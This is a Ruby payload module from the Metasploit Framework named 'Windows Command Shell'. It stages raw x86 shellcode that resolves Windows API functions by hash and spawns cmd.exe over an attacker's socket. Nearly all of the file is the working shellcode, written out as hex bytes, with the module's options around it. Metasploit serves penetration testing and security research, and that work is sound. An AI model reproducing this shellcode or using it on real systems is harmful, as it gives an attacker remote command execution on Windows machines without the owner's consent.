rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  include Msf::Payload::Windows
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Command Shell',
      'Description'   => 'Spawn a piped command shell (staged)',
      'Author'        => [ 'spoonm', 'sf' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Session'       => Msf::Sessions::CommandShellWindows,
      'PayloadCompat' =>
        {
          'Convention' => 'sockedi udpsockedi -http -https'
        },
      'Stage'         =>
        {
          'Offsets' =>
            {
              'EXITFUNC' => [ 210, 'V' ]
            },
          'Payload' =>
            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
            "\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6\x6A\x12\x59\x56" +
            "\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24\x10\xC6\x00\x44" +
            "\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56\x68\x79\xCC\x3F" +
            "\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08\x87\x1D\x60\xFF" +
            "\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C" +
            "\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
        },
      'DefaultOptions' =>
        {
          # Stage encoding is safe for this payload
          'EnableStageEncoding' => true
        }
      ))
  end
end